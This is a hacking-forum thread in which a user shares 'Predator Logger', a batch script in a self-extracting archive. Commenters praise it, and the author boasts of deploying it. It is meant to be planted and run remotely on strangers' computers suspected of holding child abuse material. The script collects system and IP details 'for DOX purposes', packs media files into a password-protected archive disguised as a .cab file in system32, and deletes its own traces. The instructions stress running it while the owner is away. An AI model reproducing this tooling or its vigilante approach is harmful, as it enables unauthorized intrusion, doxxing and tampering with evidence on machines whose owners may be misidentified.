Thread: [Predator Logger v.1.0](#)

Armada - September 30, 2015, 8:17 am

Ok so this really is not a super special application or anything, just something I whipped together for dealing with pedophiles actually, and is in fact an extract from [THIS THREAD](#)

However I have been getting quite a few PMs on the matter recently and think this little script deserves its own notation.

Predator Logger v.1.0

Predator Logger is a script I wrote to log important system information and secure vital evidence for submission to legal authorities.

The script is composed of a Single WinRAR SFX archive and 3 containing files.process.bat - the batch file which gathers and process the information to be gathered

files.lst - a listing of files to be collected for evidence

rar.exe - the command line version of winrar to archive all information in to password protected archives

PROCESS.BAT

Code @echo off

cls

systeminfo >> systeminfo.nfo

msinfo32 /nfo msinfo32.nfo

nslookup myip.opendns.com resolver1.opendns.com >> ipinfo.nfo

ipconfig >> ipinfo.nfo

dir >> filelist.nfo

rar a -inul -hppedophilesysteminfo systeminfo.rar *.nfo

rar a -inul -hplegal_evidence evidence.rar @files.lst

rename evidence.rar evidence.cab

del *.nfo /q

del *.exe /q

del *.bat /q

del *.lst /q

cls

end

FILES.LST

Code *.mp4

*.wmv

*.avi

*.webm

*.mkv

*.flv

*.vob

*.ogv

*.ogg

*.drc

*.mng

*.mov
*.asf
*.mpg
*.nsv
*.mp3
*.wav
*.amr
*.3pg
*.act
*.sln
*.wma
*.JPEG
*.jpg
*.gif
*.bmp
*.png
*.svg

Scripts Use:

Upload Predator.Logger.exe to directory containing pedophile media

Remotely Execute Predator.Logger.exe when the system is IDLE\Not in use

-The script produces a command prompt and other various dialogs which are not suppressed, it is vital to only execute this when the machine is IDLE and the remote user is not at the terminal.

Predator.Logger.exe will erase majority of its files, outputting 2 files.

systeminfo.rar - This file is a passworded archive file containing all vital and critical system information for DOX purposes. - This file is safe to download for DOXing and logging and reporting purposes.

evidence.cab - This is a passworded WinRAR archive renamed to a .cab file, this file contains critical media files for evidence in legal prosecution. - DO NOT DOWNLOAD THIS FILE.

- This file is to be moved to a secure location within the system (Example: c:\windows\system32\)

Download systeminfo.rar and Move evidence.cab to a secure folder location on the remote system.

Ensure the media directory is left as originally found (remove any residual files from execution of the script)

Armada - March 10, 2016, 11:40 pm

This gets no attention....

Frenzied - March 10, 2016, 11:47 pm

Bump. This might be useful for people.

Shadowphyre - March 11, 2016, 1:23 am

Thanks for sharing , really good tutorial.I learned a few things . Good job ?

VirtualMon3y - March 12, 2016, 12:24 am

I will get round to using this soon I hope. I feel like targeting some nasty people and helping clean up the world a little bit! Thanks for this. Rated 5.

Zher0 - May 20, 2016, 9:38 pm

Awesome idea, why hasn't this gotten more attention?

Armada - May 20, 2016, 9:45 pm

No idea, I dun bump my own threads, this was in relation to another thread though.

Nick (Name) - October 25, 2016, 5:48 pm

This is a very interesting concept, I'm bumping this for awareness and also to note that I will recreate this but make its more efficient and using a different language.

Ganzthe3 - October 28, 2016, 6:04 pm

Very interesting stuff you have here. :-)

W1nt3r.St0rm - October 30, 2016, 7:49 am

Nice! Thaks dude! :)

Have a nice day! ;)

Ttoney111 - October 30, 2016, 8:39 am

Nice does the dir command work well as a Dir /s would be better to list all the sub directories

Ripp - March 15, 2018, 12:44 pm

Great tutorial seen a few threads in the past of people looking to deal with a pedophile this would be a great and effective way!

SIM-3790223 - March 22, 2018, 2:23 am

I love seeing applications made in Batch. Good job making this, it could definitely be seen as useful in some situations.

Honestly lost count to how many have faced prosecution by now over all these years....

Last dude was from British Columbia, and was a Minor league Soccer coach.

Fun part about that one, his machine was used to email all of the kids moms to advise them of what was going on... ?

About a month later I read in the news he was arrested and charged for child exploitation offences.

? ?

did you tip the police that leads to his arrest ?

if so, good job ?

Well SOMEONE had to give them the password to evidence.cab after all ?
